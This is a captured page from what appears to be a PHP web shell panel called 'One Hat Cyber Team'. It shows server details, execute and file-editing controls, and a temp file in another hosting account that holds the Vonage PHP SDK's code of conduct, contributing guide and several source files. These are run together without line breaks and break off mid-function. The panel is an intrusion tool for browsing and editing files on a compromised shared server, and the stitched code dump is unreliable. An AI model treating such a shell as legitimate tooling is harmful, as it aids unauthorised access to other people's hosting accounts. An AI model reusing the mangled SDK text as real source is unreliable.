One Hat Cyber Team
Your IP:
216.73.216.102
Server IP:
198.54.114.155
Server:
Linux server71.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
Server Software:
LiteSpeed
PHP Version:
5.6.40
Create File
|
Create Folder
Execute
Dir :
~
/
proc
/
thread-self
/
root
/
home
/
fluxyjvi
/
.cagefs
/
tmp
/
Edit File:
phpgrVdjj
# Contributor Covenant Code of Conduct ## Our Pledge In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation. ## Our Standards Examples of behavior that contributes to creating a positive environment include: * Using welcoming and inclusive language * Being respectful of differing viewpoints and experiences * Gracefully accepting constructive criticism * Focusing on what is best for the community * Showing empathy towards other community members Examples of unacceptable behavior by participants include: * The use of sexualized language or imagery and unwelcome sexual attention or advances * Trolling, insulting/derogatory comments, and personal or political attacks * Public or private harassment * Publishing others' private information, such as a physical or electronic address, without explicit permission * Other conduct which could reasonably be considered inappropriate in a professional setting ## Our Responsibilities Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. ## Scope This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. ## Enforcement Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at devrel@vonage.com. All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. ## Attribution This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html [homepage]: https://www.contributor-covenant.org For answers to common questions about this code of conduct, see https://www.contributor-covenant.org/faq # Getting Involved Thanks for your interest in the project, we'd love to have you involved! Check out the sections below to find out more about what to do next... ## Opening an Issue We always welcome issues, if you've seen something that isn't quite right, or you have a suggestion for a new feature, please go ahead and open an issue in this project. Include as much information as you have, it really helps. ## Making a Code Change We're always open to pull requests, but these should be small and clearly described so that we can understand what you're trying to do. Feel free to open an issue first and get some discussion going. When you're ready to start coding, fork this repository to your own GitHub account and make your changes in a new branch. Once you're happy, open a pull request and explain what the change is and why you think we should include it in our project. <?php namespace Vonage\Verify2; use Psr\Container\ContainerInterface; use Vonage\Client\APIResource; use Vonage\Client\Credentials\Handler\BasicHandler; use Vonage\Client\Credentials\Handler\KeypairHandler; class ClientFactory { public function __invoke(ContainerInterface $container): Client { $api = $container->make(APIResource::class); $api->setIsHAL(false) ->setErrorsOn200(false) ->setAuthHandler([new KeypairHandler(), new BasicHandler()]) ->setBaseUrl('https://api.nexmo.com/v2/verify'); return new Client($api); } }<?php namespace Vonage\Verify2; use Vonage\Client\APIClient; use Vonage\Client\APIResource; use Vonage\Client\Exception\Exception; use Vonage\Verify2\Request\BaseVerifyRequest; class Client implements APIClient { public function __construct(protected APIResource $api) { } public function getAPIResource(): APIResource { return $this->api; } public function startVerification(BaseVerifyRequest $request): ?array { return $this->getAPIResource()->create($request->toArray()); } public function check(string $requestId, $code): bool { try { $response = $this->getAPIResource()->create(['code' => $code], '/' . $requestId); } catch (Exception $e) { // For horrible reasons in the API Error Handler, throw the error unless it's a 409. if ($e->getCode() === 409) { throw new \Vonage\Client\Exception\Request('Conflict: The current Verify workflow step does not support a code.'); } throw $e; } return true; } public function cancelRequest(string $requestId): bool { $this->api->delete($requestId); return true; } }<?php namespace Vonage\Verify2\VerifyObjects; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class VerifySilentAuthEvent implements ArrayHydrateInterface { private array $data; public function __construct(array $data) { $this->data = $data; } public function __get($property) { return $this->data[$property] ?? null; } public function __set($property, $value) { $this->data[$property] = $value; return $this; } public function __isset(string $name): bool { return isset($this->data[$name]); } public function fromArray(array $data): static { $this->data = $data; return $this; } public function toArray(): array { return $this->data; } } <?php namespace Vonage\Verify2\VerifyObjects; class VerifyEvent { private array $data; public function __construct(array $data) { $this->data = $data; } public function __get($property) { return $this->data[$property] ?? null; } public function __set($property, $value) { $this->data[$property] = $value; return $this; } public function __isset(string $name): bool { return isset($this->data[$name]); } public function fromArray(array $data): static { $this->data = $data; return $this; } public function toArray(): array { return $this->data; } } <?php namespace Vonage\Verify2\VerifyObjects; class VerifyStatusUpdate { private array $data; public function __construct(array $data) { $this->data = $data; } public function __get($property) { return $this->data[$property] ?? null; } public function __set($property, $value) { $this->data[$property] = $value; return $this; } public function __isset(string $name): bool { return isset($this->data[$name]); } public function fromArray(array $data): static { $this->data = $data; return $this; } public function toArray(): array { return $this->data; } } <?php namespace Vonage\Verify2\VerifyObjects; class VerificationLocale { private array $allowedCodes = [ 'en-us', 'en-gb', 'es-es', 'es-mx', 'es-us', 'it-it', 'fr-fr', 'de-de', 'ru-ru', 'hi-in', 'pt-br', 'pt-pt', 'id-id', ]; public function __construct(protected string $code = 'en-us') { if (! in_array($code, $this->allowedCodes, true)) { throw new \InvalidArgumentException('Invalid Locale Code Provided'); } } public function getCode(): string { return $this->code; } public function setCode(string $code): static { $this->code = $code; return $this; } }<?php namespace Vonage\Verify2\VerifyObjects; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class VerificationWorkflow implements ArrayHydrateInterface { public const WORKFLOW_SMS = 'sms'; public const WORKFLOW_WHATSAPP = 'whatsapp'; public const WORKFLOW_WHATSAPP_INTERACTIVE = 'whatsapp_interactive'; public const WORKFLOW_VOICE = 'voice'; public const WORKFLOW_EMAIL = 'email'; public const WORKFLOW_SILENT_AUTH = 'silent_auth'; protected array $allowedWorkflows = [ self::WORKFLOW_SMS, self::WORKFLOW_WHATSAPP, self::WORKFLOW_WHATSAPP_INTERACTIVE, self::WORKFLOW_VOICE, self::WORKFLOW_EMAIL, self::WORKFLOW_SILENT_AUTH ]; public function __construct( protected string $channel, protected string $to, protected string $from = '' ) { if (! in_array($channel, $this->allowedWorkflows, true)) { throw new \InvalidArgumentException($this->channel . ' is not a valid workflow'); } } public function getChannel(): string { return $this->channel; } public function setChannel(string $channel): static { $this->channel = $channel; return $this; } public function getTo(): string { return $this->to; } public function setTo(string $to): static { $this->to = $to; return $this; } public function getFrom(): string { return $this->from; } public function setFrom(string $from): static { $this->from = $from; return $this; } public function fromArray(array $data): static { $this->channel = $data['channel']; $this->to = $data['to']; if (array_key_exists('from', $data)) { $this->from = $data['from']; } return $this; } public function toArray(): array { $returnArray = [ 'channel' => $this->getChannel(), 'to' => $this->getTo() ]; if (!empty($this->getFrom())) { $returnArray['from'] = $this->getFrom(); } return $returnArray; } } <?php namespace Vonage\Verify2\VerifyObjects; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class VerifyWhatsAppInteractiveEvent implements ArrayHydrateInterface { private array $data; public function __construct(array $data) { $this->data = $data; } public function __get($property) { return $this->data[$property] ?? null; } public function __set($property, $value) { $this->data[$property] = $value; return $this; } public function __isset(string $name): bool { return isset($this->data[$name]); } public function fromArray(array $data): static { $this->data = $data; return $this; } public function toArray(): array { return $this->data; } } <?php namespace Vonage\Verify2\Webhook; use Vonage\Verify2\VerifyObjects\VerifyEvent; use Vonage\Verify2\VerifyObjects\VerifySilentAuthEvent; use Vonage\Verify2\VerifyObjects\VerifyStatusUpdate; use Vonage\Verify2\VerifyObjects\VerifyWhatsAppInteractiveEvent; class Factory extends \Vonage\Webhook\Factory { /** * Warning: This logic is fairly brittle, since there are no current better ways of determining * the type of event or update. */ public static function createFromArray(array $data) { if ($data['type'] === 'event') { if ($data['channel'] === 'silent_auth') { return new VerifySilentAuthEvent($data); } if ($data['channel'] === 'whatsapp_interactive') { return new VerifyWhatsAppInteractiveEvent($data); } return new VerifyEvent($data); } if ($data['type'] === 'summary') { return new VerifyStatusUpdate($data); } throw new \OutOfBoundsException('Could not create Verify2 Object from payload'); } } <?php namespace Vonage\Verify2\Request; use Vonage\Verify2\VerifyObjects\VerificationLocale; use Vonage\Verify2\VerifyObjects\VerificationWorkflow; class EmailRequest extends BaseVerifyRequest { public function __construct( protected string $to, protected string $brand, protected string $from, protected ?VerificationLocale $locale = null, ) { if (!$this->locale) { $this->locale = new VerificationLocale(); } if ($this->code) { $this->setCode($this->code); } $workflow = new VerificationWorkflow(VerificationWorkflow::WORKFLOW_EMAIL, $to, $from); $this->addWorkflow($workflow); } public function toArray(): array { return $this->getBaseVerifyUniversalOutputArray(); } } <?php namespace Vonage\Verify2\Request; use Vonage\Verify2\VerifyObjects\VerificationLocale; use Vonage\Verify2\VerifyObjects\VerificationWorkflow; abstract class BaseVerifyRequest implements RequestInterface { private const TIMEOUT_MIN = 60; private const TIMEOUT_MAX = 900; private const LENGTH_MIN = 4; private const LENGTH_MAX = 10; protected ?VerificationLocale $locale = null; protected int $timeout = 300; protected ?bool $fraudCheck = null; protected ?string $clientRef = null; protected int $length = 4; protected string $brand; protected array $workflows = []; protected ?string $code = null; public function getLocale(): ?VerificationLocale { return $this->locale; } public function setLocale(?VerificationLocale $verificationLocale): static { $this->locale = $verificationLocale; return $this; } public function getTimeout(): int { return $this->timeout; } public function setTimeout(int $timeout): static { $range = [ 'options' => [ 'min_range' => self::TIMEOUT_MIN, 'max_range' => self::TIMEOUT_MAX ] ]; if (!filter_var($timeout, FILTER_VALIDATE_INT, $range)) { throw new \OutOfBoundsException('Timeout ' . $timeout . ' is not valid'); } $this->timeout = $timeout; return $this; } public function getCode(): ?string { return $this->code; } public function setCode(string $code): static { $this->code = $code; return $this; } public function getClientRef(): ?string { return $this->clientRef; } public function setClientRef(?string $clientRef): static { $this->clientRef = $clientRef; return $this; } public function getLength(): int { return $this->length; } public function setLength(int $length): static { $range = [ 'options' => [ 'min_range' => self::LENGTH_MIN, 'max_range' => self::LENGTH_MAX ] ]; if (!filter_var($length, FILTER_VALIDATE_INT, $range)) { throw new \OutOfBoundsException('PIN Length ' . $length . ' is not valid'); } $this->length = $length; return $this; } public function getBrand(): string { return $this->brand; } public function setBrand(string $brand): static { $this->brand = $brand; return $this; } public function getWorkflows(): array { return array_map(static function ($workflow) { return $workflow->toArray(); }, $this->workflows); } public function addWorkflow(VerificationWorkflow $verificationWorkflow): static { $this->workflows[] = $verificationWorkflow; return $this; } public function getFraudCheck(): ?bool { return $this->fraudCheck ?? null; } public function setFraudCheck(bool $fraudCheck): BaseVerifyRequest { $this->fraudCheck = $fraudCheck; return $this; } public function getBaseVerifyUniversalOutputArray(): array { $returnArray = [ 'locale' => $this->getLocale()->getCode(), 'channel_timeout' => $this->getTimeout(), 'code_length' => $this->getLength(), 'brand' => $this->getBrand(), 'workflow' => $this->getWorkflows() ]; if ($this->getFraudCheck() === false) { $returnArray['fraud_check'] = $this->getFraudCheck(); } if ($this->getClientRef()) { $returnArray['client_ref'] = $this->getClientRef(); } if ($this->getCode()) { $returnArray['code'] = $this->getCode(); } return $returnArray; } } <?php namespace Vonage\Verify2\Request; use Vonage\Verify2\VerifyObjects\VerificationLocale; use Vonage\Verify2\VerifyObjects\VerificationWorkflow; class WhatsAppInteractiveRequest extends BaseVerifyRequest { public function __construct( protected string $to, protected string $brand, protected ?VerificationLocale $locale = null ) { if (!$this->locale) { $this->locale = new VerificationLocale(); } $workflow = new VerificationWorkflow(VerificationWorkflow::WORKFLOW_WHATSAPP_INTERACTIVE, $to); $this->addWorkflow($workflow); } public function toArray(): array { return $this->getBaseVerifyUniversalOutputArray(); } }<?php namespace Vonage\Verify2\Request; use Vonage\Verify2\VerifyObjects\VerificationWorkflow; class SilentAuthRequest extends BaseVerifyRequest { public function __construct( protected string $to, protected string $brand, ) { $workflow = new VerificationWorkflow(VerificationWorkflow::WORKFLOW_SILENT_AUTH, $to); $this->addWorkflow($workflow); } public function toArray(): array { return [ 'brand' => $this->getBrand(), 'workflow' => $this->getWorkflows() ]; } }<?php namespace Vonage\Verify2\Request; use Vonage\Verify2\VerifyObjects\VerificationLocale; use Vonage\Verify2\VerifyObjects\VerificationWorkflow; class VoiceRequest extends BaseVerifyRequest { public function __construct( protected string $to, protected string $brand, protected ?VerificationLocale $locale = null, ) { if (!$this->locale) { $this->locale = new VerificationLocale(); } $workflow = new VerificationWorkflow(VerificationWorkflow::WORKFLOW_VOICE, $to); if ($this->code) { $workflow->setCode($this->code); } $this->addWorkflow($workflow); } public function toArray(): array { return $this->getBaseVerifyUniversalOutputArray(); } }<?php namespace Vonage\Verify2\Request; use Vonage\Verify2\VerifyObjects\VerificationLocale; use Vonage\Verify2\VerifyObjects\VerificationWorkflow; class SMSRequest extends BaseVerifyRequest { public function __construct( protected string $to, protected string $brand, protected ?VerificationLocale $locale = null, ) { if (!$this->locale) { $this->locale = new VerificationLocale(); } $workflow = new VerificationWorkflow(VerificationWorkflow::WORKFLOW_SMS, $to); $this->addWorkflow($workflow); } public function toArray(): array { return $this->getBaseVerifyUniversalOutputArray(); } } <?php namespace Vonage\Verify2\Request; use Vonage\Verify2\VerifyObjects\VerificationLocale; use Vonage\Verify2\VerifyObjects\VerificationWorkflow; interface RequestInterface { public function setLocale(VerificationLocale $verificationLocale): static; public function setTimeout(int $timeout): static; public function setClientRef(string $clientRef): static; public function setLength(int $length): static; public function setBrand(string $brand): static; public function addWorkflow(VerificationWorkflow $verificationWorkflow): static; public function getLocale(): ?VerificationLocale; public function getTimeout(): int; public function getClientRef(): ?string; public function getLength(): int; public function getBrand(): string; public function getWorkflows(): array; public function getBaseVerifyUniversalOutputArray(): array; public function setCode(string $code): static; public function getCode(): ?string; }<?php namespace Vonage\Verify2\Request; use Vonage\Verify2\VerifyObjects\VerificationLocale; use Vonage\Verify2\VerifyObjects\VerificationWorkflow; class WhatsAppRequest extends BaseVerifyRequest { public function __construct( protected string $to, protected string $brand, protected ?string $from = null, protected ?VerificationLocale $locale = null, ) { if (!$this->locale) { $this->locale = new VerificationLocale(); } $workflow = new VerificationWorkflow(VerificationWorkflow::WORKFLOW_WHATSAPP, $to); $this->addWorkflow($workflow); } public function toArray(): array { return $this->getBaseVerifyUniversalOutputArray(); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage; use Composer\InstalledVersions; use Http\Client\HttpClient; use InvalidArgumentException; use Laminas\Diactoros\Request; use Laminas\Diactoros\Uri; use Lcobucci\JWT\Token; use Psr\Container\ContainerInterface; use Psr\Http\Client\ClientExceptionInterface; use Psr\Http\Client\ClientInterface; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; use Psr\Log\LoggerInterface; use Psr\Log\LogLevel; use RuntimeException; use Vonage\Account\ClientFactory; use Vonage\Application\ClientFactory as ApplicationClientFactory; use Vonage\Client\APIResource; use Vonage\Client\Credentials\Basic; use Vonage\Client\Credentials\Container; use Vonage\Client\Credentials\CredentialsInterface; use Vonage\Client\Credentials\Handler\BasicHandler; use Vonage\Client\Credentials\Handler\SignatureBodyFormHandler; use Vonage\Client\Credentials\Handler\SignatureBodyHandler; use Vonage\Client\Credentials\Handler\SignatureQueryHandler; use Vonage\Client\Credentials\Handler\TokenBodyFormHandler; use Vonage\Client\Credentials\Handler\TokenBodyHandler; use Vonage\Client\Credentials\Handler\TokenQueryHandler; use Vonage\Client\Credentials\Keypair; use Vonage\Client\Credentials\SignatureSecret; use Vonage\Client\Exception\Exception as ClientException; use Vonage\Client\Factory\FactoryInterface; use Vonage\Client\Factory\MapFactory; use Vonage\Conversion\ClientFactory as ConversionClientFactory; use Vonage\Entity\EntityInterface; use Vonage\Insights\ClientFactory as InsightsClientFactory; use Vonage\Meetings\ClientFactory as MeetingsClientFactory; use Vonage\Numbers\ClientFactory as NumbersClientFactory; use Vonage\Redact\ClientFactory as RedactClientFactory; use Vonage\Secrets\ClientFactory as SecretsClientFactory; use Vonage\SMS\ClientFactory as SMSClientFactory; use Vonage\Subaccount\ClientFactory as SubaccountClientFactory; use Vonage\Messages\ClientFactory as MessagesClientFactory; use Vonage\Users\ClientFactory as UsersClientFactory; use Vonage\Verify\ClientFactory as VerifyClientFactory; use Vonage\Verify2\ClientFactory as Verify2ClientFactory; use Vonage\Verify\Verification; use Vonage\Voice\ClientFactory as VoiceClientFactory; use Vonage\Logger\{LoggerAwareInterface, LoggerTrait}; use function array_key_exists; use function array_merge; use function call_user_func_array; use function http_build_query; use function implode; use function is_null; use function json_encode; use function method_exists; use function set_error_handler; use function str_replace; use function strpos; /** * Vonage API Client, allows access to the API from PHP. * * @method Account\Client account() * @method Meetings\Client meetings() * @method Messages\Client messages() * @method Application\Client applications() * @method Conversion\Client conversion() * @method Insights\Client insights() * @method Numbers\Client numbers() * @method Redact\Client redact() * @method Secrets\Client secrets() * @method SMS\Client sms() * @method Subaccount\Client subaccount() * @method Users\Client users() * @method Verify\Client verify() * @method Verify2\Client verify2() * @method Voice\Client voice() * * @property string restUrl * @property string apiUrl */ class Client implements LoggerAwareInterface { use LoggerTrait; public const BASE_API = 'https://api.nexmo.com'; public const BASE_REST = 'https://rest.nexmo.com'; /** * API Credentials * * @var CredentialsInterface */ protected $credentials; /** * Http Client * * @var HttpClient */ protected $client; /** * @var bool */ protected $debug = false; /** * @var ContainerInterface */ protected $factory; /** * @var LoggerInterface */ protected $logger; /** * @var array */ protected $options = ['show_deprecations' => false, 'debug' => false]; /** * @string */ public $apiUrl; /** * @string */ public $restUrl; /** * Create a new API client using the provided credentials. */ public function __construct( CredentialsInterface $credentials, $options = [], ?ClientInterface $client = null ) { if (is_null($client)) { // Since the user did not pass a client, try and make a client // using the Guzzle 6 adapter or Guzzle 7 (depending on availability) list($guzzleVersion) = explode('@', InstalledVersions::getVersion('guzzlehttp/guzzle'), 1); $guzzleVersion = (float) $guzzleVersion; if ($guzzleVersion >= 6.0 && $guzzleVersion < 7) { /** @noinspection CallableParameterUseCaseInTypeContextInspection */ /** @noinspection PhpUndefinedNamespaceInspection */ /** @noinspection PhpUndefinedClassInspection */ $client = new \Http\Adapter\Guzzle6\Client(); } if ($guzzleVersion >= 7.0 && $guzzleVersion < 8.0) { $client = new \GuzzleHttp\Client(); } } $this->setHttpClient($client); // Make sure we know how to use the credentials if ( !($credentials instanceof Container) && !($credentials instanceof Basic) && !($credentials instanceof SignatureSecret) && !($credentials instanceof Keypair) ) { throw new RuntimeException('unknown credentials type: ' . $credentials::class); } $this->credentials = $credentials; $this->options = array_merge($this->options, $options); // If they've provided an app name, validate it if (isset($options['app'])) { $this->validateAppOptions($options['app']); } // Set the default URLs. Keep the constants for // backwards compatibility $this->apiUrl = static::BASE_API; $this->restUrl = static::BASE_REST; // If they've provided alternative URLs, use that instead // of the defaults if (isset($options['base_rest_url'])) { $this->restUrl = $options['base_rest_url']; } if (isset($options['base_api_url'])) { $this->apiUrl = $options['base_api_url']; } if (isset($options['debug'])) { $this->debug = $options['debug']; } $this->setFactory( new MapFactory( [ // Registered Services by name 'account' => ClientFactory::class, 'applications' => ApplicationClientFactory::class, 'conversion' => ConversionClientFactory::class, 'insights' => InsightsClientFactory::class, 'numbers' => NumbersClientFactory::class, 'meetings' => MeetingsClientFactory::class, 'messages' => MessagesClientFactory::class, 'redact' => RedactClientFactory::class, 'secrets' => SecretsClientFactory::class, 'sms' => SMSClientFactory::class, 'subaccount' => SubaccountClientFactory::class, 'users' => UsersClientFactory::class, 'verify' => VerifyClientFactory::class, 'verify2' => Verify2ClientFactory::class, 'voice' => VoiceClientFactory::class, // Additional utility classes APIResource::class => APIResource::class, ], $this ) ); // Disable throwing E_USER_DEPRECATED notices by default, the user can turn it on during development if (array_key_exists('show_deprecations', $this->options) && ($this->options['show_deprecations'] == true)) { set_error_handler( static function ( int $errno, string $errstr, string $errfile = null, int $errline = null, array $errorcontext = null ) { return true; }, E_USER_DEPRECATED ); } } public function getRestUrl(): string { return $this->restUrl; } public function getApiUrl(): string { return $this->apiUrl; } /** * Set the Http Client to used to make API requests. * * This allows the default http client to be swapped out for a HTTPlug compatible * replacement. */ public function setHttpClient(ClientInterface $client): self { $this->client = $client; return $this; } /** * Get the Http Client used to make API requests. */ public function getHttpClient(): ClientInterface { return $this->client; } /** * Set the factory used to create API specific clients. */ public function setFactory(FactoryInterface $factory): self { $this->factory = $factory; return $this; } public function getFactory(): ContainerInterface { return $this->factory; } /** * @deprecated Use a configured APIResource with a HandlerInterface * Request business logic is being removed from the User Client Layer. */ public static function signRequest(RequestInterface $request, SignatureSecret $credentials): RequestInterface { $handler = match ($request->getHeaderLine('content-type')) { 'application/json' => new SignatureBodyHandler(), 'application/x-www-form-urlencoded' => new SignatureBodyFormHandler(), default => new SignatureQueryHandler(), }; return $handler($request, $credentials); } /** * @deprecated Use a configured APIResource with a HandlerInterface * Request business logic is being removed from the User Client Layer. */ public static function authRequest(RequestInterface $request, Basic $credentials): RequestInterface { switch ($request->getHeaderLine('content-type')) { case 'application/json': if (static::requiresBasicAuth($request)) { $handler = new BasicHandler(); } elseif (static::requiresAuthInUrlNotBody($request)) { $handler = new TokenQueryHandler(); } else { $handler = new TokenBodyHandler(); } break; case 'application/x-www-form-urlencoded': $handler = new TokenBodyFormHandler(); break; default: if (static::requiresBasicAuth($request)) { $handler = new BasicHandler(); } else { $handler = new TokenQueryHandler(); } break; } return $handler($request, $credentials); } /** * @throws ClientException */ public function generateJwt($claims = []): Token { if (method_exists($this->credentials, "generateJwt")) { return $this->credentials->generateJwt($claims); } throw new ClientException($this->credentials::class . ' does not support JWT generation'); } /** * @deprecated Use a configured APIResource with a HandlerInterface * Request business logic is being removed from the User Client Layer. */ public function get(string $url, array $params = []): ResponseInterface { $queryString = '?' . http_build_query($params); $url .= $queryString; $request = new Request($url, 'GET'); return $this->send($request); } /** * @deprecated Use a configured APIResource with a HandlerInterface * Request business logic is being removed from the User Client Layer. */ public function post(string $url, array $params): ResponseInterface { $request = new Request( $url, 'POST', 'php://temp', ['content-type' => 'application/json'] ); $request->getBody()->write(json_encode($params)); return $this->send($request); } /** * @deprecated Use a configured APIResource with a HandlerInterface * Request business logic is being removed from the User Client Layer. */ public function postUrlEncoded(string $url, array $params): ResponseInterface { $request = new Request( $url, 'POST', 'php://temp', ['content-type' => 'application/x-www-form-urlencoded'] ); $request->getBody()->write(http_build_query($params)); return $this->send($request); } /** * @deprecated Use a configured APIResource with a HandlerInterface * Request business logic is being removed from the User Client Layer. */ public function put(string $url, array $params): ResponseInterface { $request = new Request( $url, 'PUT', 'php://temp', ['content-type' => 'application/json'] ); $request->getBody()->write(json_encode($params)); return $this->send($request); } /** * @deprecated Use a configured APIResource with a HandlerInterface * Request business logic is being removed from the User Client Layer. */ public function delete(string $url): ResponseInterface { $request = new Request( $url, 'DELETE' ); return $this->send($request); } /** * Wraps the HTTP Client, creates a new PSR-7 request adding authentication, signatures, etc. * * @throws ClientExceptionInterface */ public function send(RequestInterface $request): ResponseInterface { // Allow any part of the URI to be replaced with a simple search if (isset($this->options['url'])) { foreach ($this->options['url'] as $search => $replace) { $uri = (string)$request->getUri(); $new = str_replace($search, $replace, $uri); if ($uri !== $new) { $request = $request->withUri(new Uri($new)); } } } // The user agent must be in the following format: // LIBRARY-NAME/LIBRARY-VERSION LANGUAGE-NAME/LANGUAGE-VERSION [APP-NAME/APP-VERSION] // See https://github.com/Vonage/client-library-specification/blob/master/SPECIFICATION.md#reporting $userAgent = []; // Library name $userAgent[] = 'vonage-php/' . $this->getVersion(); // Language name $userAgent[] = 'php/' . PHP_MAJOR_VERSION . '.' . PHP_MINOR_VERSION; // If we have an app set, add that to the UA if (isset($this->options['app'])) { $app = $this->options['app']; $userAgent[] = $app['name'] . '/' . $app['version']; } // Set the header. Build by joining all the parts we have with a space $request = $request->withHeader('User-Agent', implode(' ', $userAgent)); /** @noinspection PhpUnnecessaryLocalVariableInspection */ $response = $this->client->sendRequest($request); if ($this->debug) { $id = uniqid('', true); $request->getBody()->rewind(); $response->getBody()->rewind(); $this->log( LogLevel::DEBUG, 'Request ' . $id, [ 'url' => $request->getUri()->__toString(), 'headers' => $request->getHeaders(), 'body' => explode("\n", $request->getBody()->__toString()) ] ); $this->log( LogLevel::DEBUG, 'Response ' . $id, [ 'headers ' => $response->getHeaders(), 'body' => explode("\n", $response->getBody()->__toString()) ] ); $request->getBody()->rewind(); $response->getBody()->rewind(); } return $response; } protected function validateAppOptions($app): void { $disallowedCharacters = ['/', ' ', "\t", "\n"]; foreach (['name', 'version'] as $key) { if (!isset($app[$key])) { throw new InvalidArgumentException('app.' . $key . ' has not been set'); } foreach ($disallowedCharacters as $char) { if (strpos($app[$key], $char) !== false) { throw new InvalidArgumentException('app.' . $key . ' cannot contain the ' . $char . ' character'); } } } } public function __call($name, $args) { if (!$this->factory->has($name)) { throw new RuntimeException('no api namespace found: ' . $name); } $collection = $this->factory->get($name); if (empty($args)) { return $collection; } return call_user_func_array($collection, $args); } /** * @noinspection MagicMethodsValidityInspection */ public function __get($name) { if (!$this->factory->has($name)) { throw new RuntimeException('no api namespace found: ' . $name); } return $this->factory->get($name); } /** * @deprecated Use the Verify Client, this shouldn't be here and will be removed. */ public function serialize(EntityInterface $entity): string { if ($entity instanceof Verification) { return $this->verify()->serialize($entity); } throw new RuntimeException('unknown class `' . $entity::class . '``'); } protected function getVersion(): string { return InstalledVersions::getVersion('vonage/client-core'); } public function getLogger(): ?LoggerInterface { if (!$this->logger && $this->getFactory()->has(LoggerInterface::class)) { $this->setLogger($this->getFactory()->get(LoggerInterface::class)); } return $this->logger; } public function getCredentials(): CredentialsInterface { return $this->credentials; } /** * @deprecated Use a configured APIResource with a HandlerInterface * Request business logic is being removed from the User Client Layer. */ protected static function requiresBasicAuth(RequestInterface $request): bool { $path = $request->getUri()->getPath(); $isSecretManagementEndpoint = strpos($path, '/accounts') === 0 && strpos($path, '/secrets') !== false; $isApplicationV2 = strpos($path, '/v2/applications') === 0; return $isSecretManagementEndpoint || $isApplicationV2; } /** * @deprecated Use a configured APIResource with a HandlerInterface * Request business logic is being removed from the User Client Layer. */ protected static function requiresAuthInUrlNotBody(RequestInterface $request): bool { $path = $request->getUri()->getPath(); $isRedact = strpos($path, '/v1/redact') === 0; $isMessages = strpos($path, '/v1/messages') === 0; return $isRedact || $isMessages; } /** * @deprecated Use a configured APIResource with a HandlerInterface * Request business logic is being removed from the User Client Layer. */ protected function needsKeypairAuthentication(RequestInterface $request): bool { $path = $request->getUri()->getPath(); $isCallEndpoint = strpos($path, '/v1/calls') === 0; $isRecordingUrl = strpos($path, '/v1/files') === 0; $isStitchEndpoint = strpos($path, '/beta/conversation') === 0; $isUserEndpoint = strpos($path, '/beta/users') === 0; return $isCallEndpoint || $isRecordingUrl || $isStitchEndpoint || $isUserEndpoint; } } <?php namespace Vonage\Meetings; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class UrlObject implements ArrayHydrateInterface { private array $data; public function fromArray(array $data): void { $this->data = $data; } public function toArray(): array { return $this->data; } public function __get($name) { return $this->data[$name]; } } <?php namespace Vonage\Meetings; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class DialInNumber implements ArrayHydrateInterface { private array $data; public function fromArray(array $data): void { $this->data = $data; } public function toArray(): array { return $this->data; } public function __get($name) { return $this->data[$name]; } } <?php declare(strict_types=1); namespace Vonage\Meetings; use Psr\Container\ContainerInterface; use Vonage\Client\APIResource; use Vonage\Client\Credentials\Handler\KeypairHandler; class ClientFactory { public function __invoke(ContainerInterface $container): Client { /** @var APIResource $api */ $api = $container->make(APIResource::class); $api ->setBaseUrl('https://api-eu.vonage.com/v1/meetings/') ->setExceptionErrorHandler(new ExceptionErrorHandler()) ->setAuthHandler(new KeypairHandler()); return new Client($api); } } <?php declare(strict_types=1); namespace Vonage\Meetings; use GuzzleHttp\Psr7\MultipartStream; use Laminas\Diactoros\Request; use Psr\Http\Client\ClientExceptionInterface; use Vonage\Client\APIClient; use Vonage\Client\APIResource; use Vonage\Client\Exception\Exception; use Vonage\Client\Exception\NotFound; use Vonage\Entity\Filter\KeyValueFilter; use Vonage\Entity\Hydrator\ArrayHydrator; class Client implements APIClient { public const IMAGE_TYPES = ['white', 'colored', 'favicon']; public function __construct(protected APIResource $api) { } public function getAPIResource(): APIResource { return $this->api; } public function getRoom(string $id): Room { $this->api->setBaseUri('/rooms'); $response = $this->api->get($id); $room = new Room(); $room->fromArray($response); return $room; } /** * * Creates a room. Originally this was a string with the display name * So there is backwards compatibility cases to cover * * @param $room string|Room * * @return Room * @throws ClientExceptionInterface * @throws Exception */ public function createRoom(Room|string $room): Room { if (is_string($room)) { trigger_error( 'Passing a display name string to createRoom is deprecated, please use a Room object', E_USER_DEPRECATED ); $roomEntity = new Room(); $roomEntity->fromArray(['display_name' => $room]); $room = $roomEntity; } $this->api->setBaseUri('/rooms'); $response = $this->api->create($room->toArray()); $room = new Room(); $room->fromArray($response); return $room; } public function updateRoom(string $id, array $payload): Room { $this->api->setBaseUri('/rooms'); $response = $this->api->partiallyUpdate($id, $payload); $room = new Room(); $room->fromArray($response); return $room; } public function getAllListedRooms(string $start_id = null, string $end_id = null, int $size = 20): array { $filterParams = []; if 